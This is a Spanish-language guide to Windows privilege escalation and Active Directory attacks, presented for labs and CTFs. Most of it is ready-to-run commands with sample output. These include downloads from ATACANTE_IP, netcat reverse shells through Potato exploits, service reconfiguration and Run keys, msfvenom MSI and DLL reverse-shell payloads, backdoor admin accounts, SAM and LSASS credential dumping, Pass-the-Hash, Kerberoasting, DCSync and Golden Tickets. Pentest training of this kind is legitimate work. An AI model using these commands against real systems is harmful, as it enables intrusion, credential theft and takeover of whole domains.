Guía técnica completa sobre técnicas de escalada de privilegios en sistemas Windows. Módulos con ejemplos reales usando CMD, PowerShell y herramientas especializadas para entornos de laboratorio y CTF.
¿Por qué es diferente en Windows?
Windows introduce mecanismos únicos como Tokens de acceso, UAC (User Account Control), el registro de Windows, servicios NT y Active Directory. La escalada de privilegios en Windows suele pasar por explotar mal-configuraciones en estos componentes.
Metodología General
Recopilar toda la información posible antes de atacar. CMD, PowerShell y herramientas automáticas.
Información del Sistema
:: Información completa del sistema systeminfo OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19041 Build 19041 Hotfix(s): 5 Hotfix(s) Installed :: Solo versión del OS ver wmic os get caption,version,buildnumber :: Arquitectura wmic os get osarchitecture
Usuarios y Grupos
:: Usuario actual y grupos whoami whoami /all User Name: victim\lowpriv Privileges: SeImpersonatePrivilege ← muy valioso! :: Usuarios locales net user wmic useraccount list brief :: Grupos locales net localgroup net localgroup Administrators
Servicios y Procesos
:: Servicios en ejecución net start sc query state= all :: Servicios con info de ruta (binario) wmic service get name,displayname,pathname,startmode :: Procesos corriendo como SYSTEM tasklist /v | findstr "NT AUTHORITY\SYSTEM" :: PowerShell: servicios con ruta Get-WmiObject -Class Win32_Service | Select-Object Name,PathName,StartMode | Format-List
Red y Conexiones
:: Puertos en escucha netstat -ano :: Proceso asociado a puerto netstat -ano | findstr :8080 tasklist /FI "PID eq 1234" :: Interfaces de red ipconfig /all
WinPEAS — Enumeración Automática
# Descargar desde atacante certutil -urlcache -f http://ATACANTE_IP:8080/winPEAS.exe C:\Temp\wp.exe # O con PowerShell Invoke-WebRequest -Uri http://ATACANTE_IP:8080/winPEAS.exe -OutFile C:\Temp\wp.exe # Ejecutar y guardar output C:\Temp\wp.exe > C:\Temp\output.txt 2>&1 # PowerUp (alternativa PS) . .\PowerUp.ps1; Invoke-AllChecks
Windows usa tokens de acceso para identificar el contexto de seguridad de un proceso. Ciertos privilegios en el token permiten escalar a SYSTEM de forma directa.
Privilegios de Alto Valor
whoami /priv Privilege Name State SeImpersonatePrivilege Enabled ← JACKPOT SeAssignPrimaryTokenPrivilege Disabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeDebugPrivilege Enabled ← útil
| Privilegio | Abuso | Herramienta | Riesgo |
|---|---|---|---|
| SeImpersonatePrivilege | Potato attacks, Named Pipes | JuicyPotato / PrintSpoofer | CRÍTICO |
| SeAssignPrimaryToken | Crear proceso con token SYSTEM | JuicyPotato | CRÍTICO |
| SeDebugPrivilege | Inyección en procesos SYSTEM | psgetsys / meterpreter | CRÍTICO |
| SeBackupPrivilege | Leer cualquier archivo (SAM) | robocopy / manual | ALTO |
| SeRestorePrivilege | Escribir en cualquier archivo | manual | ALTO |
| SeTakeOwnershipPrivilege | Tomar propiedad de archivos | takeown / icacls | ALTO |
SeDebugPrivilege → SYSTEM
Con SeDebugPrivilege podemos abrir cualquier proceso, incluyendo los que corren como SYSTEM (lsass, winlogon...) e inyectar shellcode o migrar nuestro agente.
# En Meterpreter: buscar proceso SYSTEM y migrar meterpreter > ps PID Name Arch Session User ---- ---------- ---- ------- ---- 552 winlogon x64 1 NT AUTHORITY\SYSTEM meterpreter > migrate 552 [*] Migrating to 552... success! meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
SeBackupPrivilege → SAM Dump
:: Copiar SAM y SYSTEM (normalmente bloqueados) reg save hklm\sam C:\Temp\sam.hive reg save hklm\system C:\Temp\system.hive :: En atacante: extraer hashes con impacket python3 secretsdump.py -sam sam.hive -system system.hive LOCAL Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
La familia Potato explota SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege para escalar a SYSTEM. Muy común en servidores web, servicios SQL y cuentas de servicio.
PrintSpoofer (Windows 10 / Server 2019)
Abusa del Named Pipe del Spooler de impresión para obtener un token SYSTEM. Funciona incluso donde JuicyPotato falla.
whoami /priv | findstr "SeImpersonate" SeImpersonatePrivilege Impersonate... Enabled ✓
:: Shell interactiva como SYSTEM PrintSpoofer.exe -i -c cmd C:\Windows\system32> whoami NT AUTHORITY\SYSTEM :: Reverse shell hacia atacante PrintSpoofer.exe -c "nc.exe ATACANTE_IP 4444 -e cmd.exe"
JuicyPotato (Windows Server 2016 y anteriores)
:: Crear usuario administrador JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user ghost P@ssw0rd123 /add" -t * JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators ghost /add" -t * :: Reverse shell JuicyPotato.exe -l 1337 -p nc.exe -a "ATACANTE_IP 4444 -e cmd.exe" -t * -c "{CLSID}" :: Lista de CLSIDs: https://github.com/ohpe/juicy-potato/tree/master/CLSID
RoguePotato (Server 2019+)
:: En atacante: socat relay socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 & :: En víctima RoguePotato.exe -r ATACANTE_IP -e "nc.exe ATACANTE_IP 4444 -e cmd.exe" -l 9999 NT AUTHORITY\SYSTEM
GodPotato (2023 — Universal)
GodPotato.exe -cmd "cmd /c whoami" nt authority\system GodPotato.exe -cmd "nc.exe ATACANTE_IP 4444 -e cmd.exe"
Servicios de Windows que corren como SYSTEM pero cuyo binario o configuración puede ser modificado por usuarios con pocos privilegios.
Tipos de Vulnerabilidades en Servicios
1. Permisos Inseguros en el Binario
:: Ver ruta del binario del servicio wmic service get name,pathname | findstr "VulnSvc" VulnSvc C:\Program Files\VulnApp\svc.exe :: Comprobar permisos (buscar W o F para Everyone/Users) icacls "C:\Program Files\VulnApp\svc.exe" C:\Program Files\VulnApp\svc.exe Everyone:(F) ← FULL CONTROL! :: PowerUp: detectar automáticamente Get-ModifiableServiceFile
:: Backup del original copy "C:\Program Files\VulnApp\svc.exe" C:\Temp\svc_backup.exe :: Reemplazar con payload (añadir usuario admin) copy /Y C:\Temp\malicious.exe "C:\Program Files\VulnApp\svc.exe" :: Reiniciar el servicio sc stop VulnSvc && sc start VulnSvc El servicio ejecuta el binario como SYSTEM → usuario creado
2. Unquoted Service Path
Si la ruta del binario contiene espacios y no está entre comillas, Windows busca el ejecutable en cada segmento de la ruta.
:: Buscar servicios con rutas sin comillas y espacios wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '\"' VulnService C:\Program Files\Some Folder\service.exe Auto :: Windows buscará en este orden: C:\Program.exe ← podemos crear esto! C:\Program Files\Some.exe ← o esto! C:\Program Files\Some Folder\service.exe :: Crear el ejecutable malicioso en la ruta explotable icacls "C:\Program Files" | findstr "Users" Users:(W) ← tenemos escritura copy C:\Temp\malicious.exe "C:\Program Files\Some.exe" sc stop VulnService && sc start VulnService
3. Permisos Inseguros del Servicio (sc)
:: Verificar permisos del servicio con accesschk accesschk.exe -ucqv VulnSvc RW BUILTIN\Users → SERVICE_ALL_ACCESS :: Cambiar el binario que ejecuta el servicio sc config VulnSvc binpath= "C:\Temp\nc.exe ATACANTE_IP 4444 -e cmd.exe" sc stop VulnSvc && sc start VulnSvc NT AUTHORITY\SYSTEM
El registro de Windows contiene rutas de ejecución automática que pueden ser modificadas si los permisos son inseguros.
Claves de Autorun con Escritura
:: Claves de autorun más comunes reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce :: Comprobar permisos de clave accesschk.exe -kvuqsw hklm\software\microsoft\windows\currentversion\run RW BUILTIN\Users ← podemos escribir!
:: Agregar entrada maliciosa reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "C:\Temp\nc.exe ATACANTE_IP 4444 -e cmd.exe" :: Esperar a que un admin inicie sesión o reiniciar :: PowerUp: detecta automáticamente Get-RegistryAlwaysInstallElevated Get-ModifiableRegistryAutoRun
AlwaysInstallElevated
Si esta clave está habilitada en HKLM y HKCU, cualquier usuario puede instalar paquetes MSI con privilegios SYSTEM.
:: Verificar ambas claves (deben ser 1) reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated AlwaysInstallElevated REG_DWORD 0x1 ← vulnerable! :: Crear MSI malicioso con msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f msi -o malicious.msi :: Instalar en la víctima msiexec /quiet /qn /i C:\Temp\malicious.msi NT AUTHORITY\SYSTEM
Tareas ejecutadas por SYSTEM o Administrators cuyos scripts o binarios tienen permisos de escritura para usuarios estándar.
Enumerar Tareas Programadas
:: Listar todas las tareas schtasks /query /fo LIST /v :: PowerShell: más legible Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq "Highest"} | Select-Object TaskName,TaskPath :: Ver detalles de tarea específica schtasks /query /tn "\Microsoft\Windows\UpdateTask" /fo LIST /v Task To Run: C:\Scripts\update.bat Run As User: SYSTEM Schedule: Every 5 minutes
Explotar Script con Permisos de Escritura
:: Comprobar permisos del script icacls C:\Scripts\update.bat C:\Scripts\update.bat BUILTIN\Users:(W) ← escribible! :: Inyectar payload en el script (añadir usuario admin) echo net user ghost P@ssw0rd123 /add >> C:\Scripts\update.bat echo net localgroup Administrators ghost /add >> C:\Scripts\update.bat :: Esperar al siguiente ciclo de la tarea... net user ghost User name: ghost → acceso admin obtenido
Windows busca DLLs en un orden específico. Si un directorio en esa ruta tiene escritura, podemos colocar una DLL maliciosa que el proceso privilegiado cargará.
Orden de Búsqueda de DLLs
Detectar DLLs No Encontradas
:: Usar Process Monitor (Sysinternals) filtrando: Operation: CreateFile Path ends with: .dll Result: NAME NOT FOUND ← DLL que no encuentra! :: Ver DLLs cargadas por un proceso tasklist /m /fi "IMAGENAME eq target.exe" :: PowerShell: DLLs de proceso Get-Process -Name target | Select-Object -ExpandProperty Modules | Select-Object ModuleName,FileName
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f dll -o missing.dll:: Comprobar que podemos escribir en el directorio icacls "C:\Program Files\VulnApp\" BUILTIN\Users:(W) ← escribible! copy C:\Temp\missing.dll "C:\Program Files\VulnApp\missing.dll"
:: Reiniciar el servicio si es posible sc stop VulnSvc && sc start VulnSvc :: O esperar al reboot si no tenemos permisos Conexión recibida en atacante: NT AUTHORITY\SYSTEM
Windows almacena credenciales en múltiples lugares: registro, ficheros de configuración, historial de PowerShell, GPP, credenciales guardadas y más.
Búsqueda en el Registro
:: Buscar "password" en todo el registro reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s :: Autologin credentials (muy común en kioscos) reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" DefaultUserName REG_SZ Administrator DefaultPassword REG_SZ P@ssword1 ← JACKPOT!
Archivos de Configuración
:: Buscar "password" en archivos de configuración findstr /si password *.txt *.xml *.ini *.config dir /s /b *pass* *cred* *vnc* *.config :: Archivos de configuración IIS type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config findstr /si "connectionString" C:\inetpub\wwwroot\*.config :: Historial PowerShell type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
GPP — Group Policy Preferences (MS14-025)
Las antiguas GPP de Active Directory almacenaban contraseñas cifradas en SYSVOL con una clave AES pública conocida. Microsoft la publicó en MSDN.
:: Buscar archivos GPP en SYSVOL findstr /S /I cpassword \\DC\SYSVOL\*.xml <Properties ... cpassword="edBSHOwhZLTjt/QS9FeIcJ..." .../> :: Descifrar con gpp-decrypt (kali) gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ..." P@$$w0rd :: Con PowerSploit: automático Get-GPPPassword
Windows Credential Manager
:: Listar credenciales guardadas cmdkey /list Target: Domain:interactive=DOMAIN\Admin Type: Domain Password User: DOMAIN\Admin :: Usar la credencial guardada sin conocer la contraseña runas /savecred /user:DOMAIN\Admin cmd.exe
Una vez como administrador local, volcar los hashes NTLM de la SAM permite Pass-the-Hash, cracking offline y movimiento lateral.
Volcar SAM con reg save
:: Guardar hives necesarios reg save hklm\sam C:\Temp\sam reg save hklm\system C:\Temp\system reg save hklm\security C:\Temp\security :: Exfiltrar y extraer en Kali con impacket impacket-secretsdump -sam sam -system system -security security LOCAL Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: lowpriv:1001:aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Volume Shadow Copy (VSS)
:: Crear shadow copy wmic shadowcopy call create Volume='C:\' :: Listar shadow copies vssadmin list shadows Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 :: Copiar SAM desde la shadow copy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\sam copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system
Pass-the-Hash con impacket
# Pass-the-Hash con impacket impacket-psexec Administrator@TARGET_IP -hashes aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 C:\Windows\system32> whoami nt authority\system # wmiexec (más silencioso) impacket-wmiexec Administrator@TARGET_IP -hashes :NTLM_HASH # Crackear offline con Hashcat hashcat -m 1000 hashes.txt rockyou.txt --force
Técnicas para escalar privilegios en entornos de dominio Active Directory: Kerberoasting, AS-REP Roasting, ACL Abuse y DCSync.
Kerberoasting
Cualquier usuario del dominio puede solicitar TGS tickets para cuentas con SPN. Los tickets se pueden crackear offline para obtener contraseñas en texto claro.
# Con Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt $krb5tgs$23$*svc_sql$DOMAIN.LOCAL$MSSQLSvc/sqlserver.domain.local... # Con impacket desde Kali impacket-GetUserSPNs DOMAIN.LOCAL/lowpriv:Password123 -dc-ip DC_IP -request # Crackear con Hashcat (modo 13100) hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
# Con Rubeus: usuarios sin preautenticación Kerberos .\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt # Con impacket (sin credenciales si hay cuentas vulnerables) impacket-GetNPUsers DOMAIN.LOCAL/ -usersfile users.txt -dc-ip DC_IP -format hashcat $krb5asrep$23$user@DOMAIN.LOCAL:... # Crackear con Hashcat (modo 18200) hashcat -m 18200 asrep_hashes.txt rockyou.txt
DCSync Attack
# Con Mimikatz (necesita DA o Replication rights) lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 # Con impacket desde Kali impacket-secretsdump DOMAIN.LOCAL/DomainAdmin:Password@DC_IP -just-dc-user Administrator # Volcar TODOS los hashes del dominio impacket-secretsdump DOMAIN.LOCAL/DomainAdmin:Password@DC_IP -just-dc-ntlm
ACL Abuse — GenericAll
# Enumerar con BloodHound .\SharpHound.exe -c All --outputdirectory C:\Temp # Si tenemos GenericAll sobre un usuario: resetear contraseña $SecPassword = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force Set-DomainUserPassword -Identity targetuser -AccountPassword $SecPassword # Si tenemos GenericAll sobre un grupo: añadirnos Add-DomainGroupMember -Identity "Domain Admins" -Members "lowpriv"
La herramienta más poderosa para extracción de credenciales en Windows. Permite obtener contraseñas en texto claro, hashes NTLM, tickets Kerberos y mucho más.
Comandos Esenciales
:: Ejecutar con privilegios elevados mimikatz.exe privilege::debug Privilege '20' OK :: Elevar a SYSTEM token::elevate Token Id : 0 User name : NT AUTHORITY\SYSTEM :: Contraseñas en texto claro de LSASS (Win 7/2008) sekurlsa::logonpasswords Username : Administrator Password : P@ssw0rd1 ← texto claro! :: Solo hashes NTLM sekurlsa::msv NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
Pass-the-Ticket (PTT)
:: Exportar tickets Kerberos actuales sekurlsa::tickets /export [*] [00000000] - 0x00000012 - aes256_hmac ServiceName : krbtgt TargetName : krbtgt [...] → escribido en disco como .kirbi :: Importar ticket de otro usuario kerberos::ptt [0;28996b]-2-0-60a10000-Admin@krbtgt-DOMAIN.LOCAL.kirbi * File: '...kirbi': OK :: Verificar acceso dir \\DC\C$
Golden Ticket
:: Necesitamos: hash NTLM de KRBTGT + SID del dominio lsadump::lsa /patch krbtgt: 1b326a7e08a6893a8bb699bd0c1b4ea0 kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-XXXX /krbtgt:1b326a7e08a6893a8bb699bd0c1b4ea0 /ticket:golden.kirbi Golden ticket for 'Administrator @ DOMAIN.LOCAL' created! kerberos::ptt golden.kirbi Acceso total al dominio por 10 años
El arsenal completo para Windows Privilege Escalation y Active Directory attacks.
Enumeración y PrivEsc Local
| Herramienta | Función | Tipo |
|---|---|---|
| WinPEAS | Enumeración automática completa del sistema Windows | Enumeración |
| PowerUp | Detectar misconfigs de servicios, registro y más | Enumeración |
| Seatbelt | Recopilación de datos de seguridad del sistema | Enumeración |
| PrivescCheck | Script PowerShell de auditoría de privilegios | Enumeración |
| accesschk.exe | Verificar permisos de servicios, archivos y registro | Permisos |
| ProcessMonitor | Monitorizar llamadas a DLLs no encontradas | DLL Hijack |
Tokens y Potato
| Herramienta | Función | Compatibilidad |
|---|---|---|
| PrintSpoofer | SeImpersonate → SYSTEM via Spooler pipe | Win10 / S2019 |
| JuicyPotato | SeImpersonate → SYSTEM via CLSID COM | hasta S2016 |
| GodPotato | SeImpersonate → SYSTEM universal | Win10-11/S2012-22 |
| RoguePotato | SeImpersonate → SYSTEM sin puertos restringidos | S2019+ |
Active Directory
| Herramienta | Función | Tipo |
|---|---|---|
| Mimikatz | Dump de credenciales, PTT, Golden Ticket, DCSync | Credenciales |
| Rubeus | Kerberoasting, AS-REP, PTT, S4U | Kerberos |
| BloodHound | Mapear rutas de ataque en AD visualmente | AD Enum |
| PowerView | Enumeración avanzada de AD con PowerShell | AD Enum |
| impacket | Suite de herramientas Python para SMB, Kerberos, DCSync | Multi-uso |
| CrackMapExec | Auditoría masiva de redes Windows/AD | Lateral |
Lista de verificación completa. Márcalos conforme los vayas comprobando durante un pentest.
Sistema y OS
- Revisar versión de Windows y parches instalados (systeminfo)
- Buscar exploits de kernel conocidos (EternalBlue, PrintNightmare...)
- Ejecutar WinPEAS para enumeración automática
- Comprobar arquitectura (x86 vs x64)
Token y Privilegios
- Revisar whoami /priv (SeImpersonate, SeDebug, SeBackup...)
- Si SeImpersonatePrivilege → intentar Potato attacks
- Si SeDebugPrivilege → migrar a proceso SYSTEM
- Comprobar grupo del usuario (Administrators, Backup Operators...)
Servicios
- Buscar servicios con rutas sin comillas (Unquoted Service Path)
- Verificar permisos de binarios de servicios (icacls)
- Comprobar permisos de modificación del servicio (accesschk)
- Ejecutar PowerUp: Get-ModifiableServiceFile
Registro y Autorun
- Verificar AlwaysInstallElevated en HKLM y HKCU
- Comprobar permisos de claves autorun
- Buscar contraseñas en el registro (reg query /f password)
- Revisar Winlogon autologin credentials
Credenciales
- Revisar historial de PowerShell (ConsoleHost_history.txt)
- Buscar en archivos de configuración (*.config, *.xml, *.ini)
- Comprobar credenciales guardadas (cmdkey /list)
- Buscar GPP passwords en SYSVOL
- Revisar unattend.xml y sysprep.xml
DLL y Tareas
- Usar Process Monitor para detectar DLLs no encontradas
- Comprobar directorios de aplicaciones con escritura
- Enumerar tareas programadas (schtasks /query /v)
- Verificar permisos de scripts ejecutados por tareas
Active Directory
- Enumerar con BloodHound (SharpHound)
- Buscar cuentas Kerberoasteables (SPNs)
- Buscar cuentas sin preautenticación (AS-REP)
- Revisar ACLs sobre objetos de AD (GenericAll, WriteDACL...)
- Comprobar si tenemos derechos de DCSync / replicación